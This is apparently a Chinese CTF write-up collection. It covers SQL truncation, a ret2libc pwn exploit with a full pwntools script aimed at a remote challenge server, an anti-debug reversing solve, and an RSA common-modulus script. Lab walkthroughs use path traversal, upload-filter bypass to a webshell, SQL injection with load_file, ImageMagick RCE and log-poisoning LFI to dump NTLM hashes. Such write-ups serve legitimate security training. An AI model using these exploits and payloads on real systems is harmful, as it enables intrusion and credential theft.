CTF题目
sqlisimple sqli
http://106.75.119.132/register.php
注册用户admin后面加上空格
然后登陆
word
题目说明
按照提示关注公众号
获取部分flag,接着下载word
鼠标放到文字末尾 字体中获取另一部分flag
PlainR2B
Do u believe ida? od?
程序保护:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
No canary found且给了libc
看主要函数:
int game(){
int result; // eax
char buf; // [esp+Ch] [ebp-1Ch]
puts("First, what's your name?");
if ( read(0, &name, 0x14u) > 19 )
{
puts("Oh, your name too loooooong...");
exit(0);
}
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
printf("%s, do you want to get flag?\n", &name);
read(0, &buf, 0x34u);
if ( !strcmp(&buf, "yes") || (result = strcmp(&buf, "YES")) == 0 )
result = printf("OK,the flag is flag{%s}, enmmm... but is true?", "WorkToWeekT_T");
return result;
}
buf可以覆盖返回地址
我们可以分两步:
1 返回地址覆盖为printf(func_got)/write(1,func_got,4)来leak libc,并将printf/write返回地址设为game_addr用于复用漏洞
2 复用过程覆盖返回地址为system("/bin/sh")
EXP:
from pwn import *#context.log_level = 'debug'
#p=process("./pwn")
elf=ELF("./pwn")
lib=ELF("./libc-2.23.so")
p=remote("117.50.60.184",12345)
p.recvuntil("what's your name?")
p.sendline("/bin/sh")
p.recvuntil("flag?")
payload='A'*28+p32(0xfffde000) +p32(elf.plt["printf"])+p32(0x80485cb)+p32(elf.got["printf"])
p.sendline(payload)
p.recv(1)
printf_addr=u32(p.recv(4))
system_addr=printf_addr-lib.symbols["printf"]+lib.symbols["system"]
p.sendline("/bin/sh")
p.recvuntil("flag?")
payload2="A"*28+p32(0xfffde000)+p32(system_addr)+p32(system_addr)+p32(0x804a06c)
p.sendline(payload2)
p.interactive() Antidbg
Welcome to my game,please pwn me
大致判断sub_4011A0为判断函数
找到函数,F5提示:positive sp value has been found
stack pointer发现:
存在-90,在.text:004012AC处**ALT+K**修复一下sp指针,直接添负号
修改后F5看伪代码:
if ( strlen(Dst) == 42 ){
v1 = 0;
v3 = xmmword_4021C0;
v5 = 34080258;
v4 = xmmword_4021B0;
v6 = 33882121;
v7 = 3330;
while ( Dst[v1] >> 4 == dword_403018[byte_402178[v1]] && (Dst[v1] & 0xF) == dword_402138[*((char *)&v3 + v1)] )
{
if ( ++v1 >= 42 )
{
v9 = 1667462515;
v10 = 7566181;
goto LABEL_8;
}
}
很清楚的逻辑,v3v4v5v6v7分别定义,但在内存中连续形成key1,不过dword_403018中值过小,都是2,猜测应该是程序在此前会修改此处,动态调试中导出dword_403018即可:
key1="060C01070B00060201060107020D050103030D040301000D080801020D0700010206080209000502020d00"
key2="02020202030101020101020101000101020200010101010001010202000101020201010101010201010300"
key3="2367"
flag=""
for i in range(42):
l=int(key1[i*2:i*2+2],16)&0xf
k=int(key2[i*2:i*2+2])
h=int(key3[k])<<4
flag+=chr(h+l) rsa
simple rsa
RSA共模攻击
# -*- coding: utf-8 -*-#from libnum import n2s,s2n
from gmpy2 import invert
# 欧几里得算法
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def main():
n = 17362520124149736059291605717839814089431261833972408175766504894876091272021197374480215582589878198406028065354454242540322618614670160317701698407729515781811530180885334265851364490357884909336085410775168953942120359215038925025305363480538685487988827339463890539279008285241711326041868183805848503077373967082910932422798165242481154593794712639251157856102009630894845049984346776659339380886766804814959778048440996937820138560802077375885700500737699904011032451007341777160586467318264288370080315519305800247682611802774996999330812534723806925426052547128371180683265963525581842037399869323246530085399
c1 = 11757177168629974661319129065020939259607843855964612407515015619551332717303594939284265148421101106538576564879770344246694669035164564635188309876801896156214909946098869029964618647606449218025915092461416329529723153695631060387903820322776063152970417682658882514448192870115306139048632667164375339647480060498038060662339943872320998391726896418231367745182167642401094985859083528539732718585607300300744481583877075988159078923393794888199752412273065186387778708588318818871255432956112609603017152148063465689319082652284861285738454428311471661017770501362483439955249552527930663707069794266908382237863
c2 = 2364848878397323871885597084235162950454738150033561990125608234733186785294327511676322556989693319543787881108157790541032502889824032246849038028277601291878651138223131738210948288040172974610279550123399373111991951111719314902078119305973622147396199257818150347936553495169543808071509800280778646769553776723985138633331947024508645378935223338224527962766707863670722941767067705851822587652625805245801727869961524972624327839027498877534264770109063202217409037083612774983213841234965045214820133529399280883524064963136158251681946077429913578531311243649928666453318570284124743168193304356485791847813
e1 = 2333
e2 = 23333
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
# 求模反元素
if s1<0:
s1 = - s1
c1 = invert(c1, n)
elif s2<0:
s2 = - s2
c2 = invert(c2, n)
m = pow(c1,s1,n)*pow(c2,s2,n) % n
print hex(m)[2:].replace('l','').decode('hex')
# print n2s(m)
if __name__ == '__main__':
main()
抛砖引玉
第二题-拿下数据
2.提交系统用户/ichunqiu的密码
解题思路
打开发现是PHPOA,然后搜寻资料得知phpoa有任意文件下载,直接下载config.php即可
/down.php?urls=data/../config.php
暗渡成仓
虚实相接,需要出题者以声东击西的招式准备的歧路,找到正确的栈道。
第一题-初探后台
1.提交后台管理员密码
解题思路
扫描发现存在上传点,上传php发现无法上传,利用大写即可绕过然后getshell
第二题- 获取用户
2.提交系统管理员Hack的全名
解题思路
getshell后直接net user即可得到
第三题-日志收集
3.超级管理员用户桌面根目录admin.txt文件的内容
解题思路
getshell后发现为最高权限,直接菜刀找到c:\documents and sttings\administrator\桌面\admin.txt,读取即可
瞒天过海
目的不是为了瞒天,只是做出题目的一种手段。
第一题-初探后台
1.提交后台管理员密码
解题思路
发现存在注入,直接注入得知有users表,表中有id,login,password列,然后注入获得密码
第二题- 获得密码
2.提交mysql密码
解题思路
注入点权限为root,直接读取mysql.user的password列,然后反解mysql的hash
第三题-DB提权
3.提交C盘根目录password.txt
解题思路
利用注入点直接load_file()即可
偷梁换柱
赛题是那样无情残忍,无义无理取闹,稍有踟蹰,他就偷梁换柱。
第一题-信息收集
1.提交后台admin用户的密码
解题思路
扫描发现存在/.git/目录,利用githack下载下来源码,源码中发现默认的sql文件,里面有账户密码
第二题-用户泄漏
2.提交系统管理员ichunqiu的全名
解题思路
登陆后台后,发现有上传地方,查看源代码中,发现classes/picuure.php中用到了ImageMagick,直接用现成的exp即可rce。读取/etc/passwd即可
第三题-程序逻辑
3.提交/tmp/access.log的内容
解题思路
同样ImageMagick,直接读取/tmp/access.log
反客为主
以静谋动,反客为主,掌握真正的大权,才能不任人摆布。
第一题-文件读取
1.提交phpStudy目录下Documents.txt的内容
解题思路
打开后扫描发现有文件包含,直接包含Document.txt文件就可以看到内容
第二题-抓取密码
2.提交系统用户/ichunqiu的密码
解题思路
利用包含漏洞,包含access.log来getshell,然后利用工具读取NTLM hash,反解后得到明文
第三题-尝试登陆
3.提交ichunqiu用户Desktop根目录password.txt的内容
解题思路
getshell后发现权限是administrator,直接菜刀里打开ichunqiu账户的桌面就可以看到